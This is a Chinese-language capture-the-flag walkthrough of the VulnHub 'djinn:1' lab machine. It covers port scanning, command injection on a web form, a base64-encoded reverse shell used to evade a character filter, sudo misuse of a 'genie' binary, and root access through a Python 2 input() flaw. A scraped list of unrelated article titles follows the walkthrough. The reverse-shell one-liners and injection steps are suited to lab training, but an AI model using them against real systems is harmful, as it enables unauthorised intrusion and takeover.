djinn:1渗透笔记

靶机下载地址:https://www.vulnhub.com/entry/djinn-1,397/

信息收集

首先我们嘚确保一点,kali机和靶机处于同一网段,查看kali ip地址

当打开这台靶机的时候我们就知道ip地址

由于我们已经确定了靶机的ip所以我们直接扫描开放端口

nmap -A -p- 192.168.20.145

首先我们去访问一下21端口的ftp服务,发现可以匿名登录。根目录有三个txt文本文件我们依次打开查看

creds.txt
nitu:81299
game.txt
oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the
final level and get the prize.
message.txt
@nitish81299 I am going on holidays for few days, please take care of all the work.
And don't mess up anything.

我们可以发现在game.txt中提示,1337端口上设置了一个游戏,打开浏览器查看发现被重置,那我们尝试telnet上去看看

需要我们回答1000次问题估计要写个脚本我们先暂时放一边

端口扫描还发现7331端口并且运行着http服务,访问一下看看有什么收获。查看后没有什么发现。

还是没有什么发现

目录扫描

这里我没有比较合适的字典就借用师傅的一张图

经过扫描发现了两个目录一个/wish一个/genie两个目录,依次访问

这个目录我们好像没有权限

我们继续访问/wish这个目录

有点像是命令执行

在输入框输入"id",页面跳转到了"/genie",并成功执行了命令

漏洞利用

我们直接向kali反弹一个shell,在输入框中输入反弹shell的命令,并在kali端进行监听

bash -i >& /dev/tcp/192.168.20.130/1234 0>&1
nc -lvvp 1234

但是报出了错误信息,推测过滤了一些字符,使用bp抓包测试看看

下面这样是可以的

但这样就不行了

看来确实拦截了一些字符,经过多次尝试发现echo指令可以执行

那我试试把反弹shell base64编码一下再尝试执行

kali先监听1234口

nc -lvvp 1234

输入框内输入

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwLjEzMC8xMjM0IDA+JjE= | base64 -d | bash

成功监听

获得交互式提示符

python -c "import pty;pty.spawn('/bin/bash')"
读取flag

读取/etc/passwd发现有sam和nitish两个用户,并且在/home/nitish下发现了user.txt,但是www-data没有权限读取;sam的用户目录也是没有权限查看的。接着回到/opt/80目录下,看一下这个目录下面的文件

在/opt/80目录下发现了一个app.py文件,查看一下文件内容发现了有点东西,这个txt我们去看看是啥

好像是用户名密码我们去登录

然后我们查看/home/nitish下的user.txt即可

权限提升

查看一下sudo的权限命令,发现有一个无需密码即可执行的命令

查看一下genie的用法

man genie

发现-p参数

和-cmd参数

发现-p不行但是使用-cmd成功拿到sam的shell

sudo -u sam /usr/bin/genie -cmd whoami

再次执行sudo -l

接下来有点懵了,实在没办法找一下可写的文件

find / -writable -type f 2>/dev/null

使用scp将.pyc文件下到kali中,然后进行反编译网址如下

https://tool.lu/pyc/

scp /home/sam/.pyc root@192.168.20.130:/root

得到源码如下

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
from getpass import getuser
from os import system
from random import randint def naughtyboi():
print 'Working on it!! ' def guessit():
num = randint(1, 101)
print 'Choose a number between 1 to 100: '
s = input('Enter your number: ')
if s == num:
system('/bin/sh')
else:
print 'Better Luck next time' def readfiles():
user = getuser()
path = input('Enter the full of the file to read: ')
print 'User %s is not allowed to read %s' % (user, path) def options():
print 'What do you want to do ?'
print '1 - Be naughty'
print '2 - Guess the number'
print '3 - Read some damn files'
print '4 - Work'
choice = int(input('Enter your choice: '))
return choice def main(op):
if op == 1:
naughtyboi()
elif op == 2:
guessit()
elif op == 3:
readfiles()
elif op == 4:
print 'work your ass off!!'
else:
print 'Do something better with your life' if __name__ == '__main__':
main(options())

仔细审计一下发现这里有input函数,发现为python2的版本。搜一下python input()vulnerability,看看input函数漏洞,参考文章

https://www.geeksforgeeks.org/vulnerability-input-function-python-2-x/

根据这个漏洞,可以把变量名当成变量的内容来解析,我们可以直接在Guess the number中输入"num"利用此漏洞即可。到这时候我们已经获得root权限

vulnhub靶机djinn:1渗透笔记的更多相关文章

  1. vulnhub靶机Tr0ll:1渗透笔记

    Tr0ll:1渗透笔记 靶场下载地址:https://www.vulnhub.com/entry/tr0ll-1,100/ kali ip:192.168.20.128 靶机和kali位于同一网段 信 ...

  2. vulnhub mrRobot渗透笔记

    mrRobot渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/mr-robot-1,151/ kali ip 信息收集 首先依旧时使用nmap扫描靶机的ip地址 n ...

  3. vulnhub DC:1渗透笔记

    DC:1渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/ kali ip地址 信息收集 首先扫描一下靶机ip地址 nmap -sP 192.168 ...

  4. vulnhub devguru渗透笔记

    devguru渗透笔记 信息收集 kali ip 目标ip 首先我们扫描一下开放端口 nmap -A -p- 192.168.20.143 Starting Nmap 7.91 ( https://n ...

  5. vulnhub靶机Os-hackNos-1

    vulnhub靶机Os-hackNos-1 信息搜集 nmap -sP 192.168.114.0/24 找到开放机器192.168.114.140这台机器,再对这台靶机进行端口扫描. 这里对他的端口 ...

  6. vulnhub靶机-Me and My Girlfriend: 1

    vulnhub靶机实战 1.靶机地址:https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/ 2.先看描述(要求) 通过这个我们可以知道我们 ...

  7. vulnhub 靶机 Kioptrix Level 1渗透笔记

    靶机下载地址:https://www.vulnhub.com/entry/kioptrix-level-1-1,22/ kali ip 信息收集 先使用nmap收集目标的ip地址 nmap -sP 1 ...

  8. Vulnhub 靶机 pwnlab_init 渗透——详细教程

    1. 下载 pwnlab_ini 靶机的 .ova 文件并导入 VMware: pwnlab下载地址:PwnLab: init ~ VulnHub 导入VMware时遇到VMware上虚机太多,无法确 ...

  9. Vulnhub靶机渗透 -- DC5

    信息收集 通过nmap搜索到IP为:192.168.200.11 开启了80http.111RPC服务端口 先打开网页,然后进行目录爆破 contact.php 攻击 经搜索没有发现可以攻击wheel ...

随机推荐

  1. MySQL常用查询命令(单表查询)

    查询语法如下: select... from... where... group by... (having)... order by...; 顺序是from (从指定表中) where (具体条件) ...

  2. Bagging与随机森林

    Bagging Bagging是并行式集成学习算法最著名的代表,基于自助采样法(bootstrap sampling). 给定m个样本的数据集,选取m次,每次选1个样本,构成一个新的样本集,其中有的样 ...

  3. NPOI导出大量数据的避免OOM解决方案【SXSSFWorkbook】

    一.NPOI的基本知识 碰到了导出大量数据的需求场景:从数据读取数据大约50W,然后再前端导出给用户,整个过程希望能较快的完成.如果不能较快完成,可以给与友好的提示. 大量数据的导出耗时的主要地方: ...

  4. c++刷leetcode记录

    #include<iostream> #include<sstream> #include<vector> std::vector<int> split ...

  5. ELK监控nginx日志总结

    ELK介绍 ELK即ElasticSearch + Logstash + kibana ES:作为存储引擎 Logstash:用来采集日志 Kibana可以将ES中的数据进行可视化,可以进行数据分析中 ...

  6. JAVA_Scanner 键盘输入

    键盘输入语句 介绍:在编程中,需要接收用户输入的数据,就可以使用键盘输入语句来获取.Input.java , 需要一个 扫描器(对象), 就是 Scanner 步骤: 导入该类的所在包, java.u ...

  7. LeetCode-097-交错字符串

    交错字符串 题目描述:给定三个字符串 s1.s2.s3,请你帮忙验证 s3 是否是由 s1 和 s2 交错 组成的. 示例说明请见LeetCode官网. 来源:力扣(LeetCode) 链接:http ...

  8. 组合拳 | 本地文件包含漏洞+TFTP=Getshell

    文章声明 安全文章技术仅供参考,此文所提供的信息为漏洞靶场进行渗透,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作. 本文所提供的工具仅用于学习,禁止用于其他,未经授权,严禁转载,如需转 ...

  9. linux作业--第五周

    1.简述osi七层模型和TCP/IP五层模型 一.OSI参考模型 (1) OSI的来源 OSI(Open System Interconnect),即开放式系统互联. 一般都叫OSI参考模型,是ISO ...

  10. php 23种设计模型 - 访问者模式

    访问者模式是一种行为型模式,访问者表示一个作用于某对象结构中各元素的操作.它可以在不修改各元素类的前提下定义作用于这些元素的新操作,即动态的增加具体访问者角色. 访问者模式利用了双重分派.先将访问者传 ...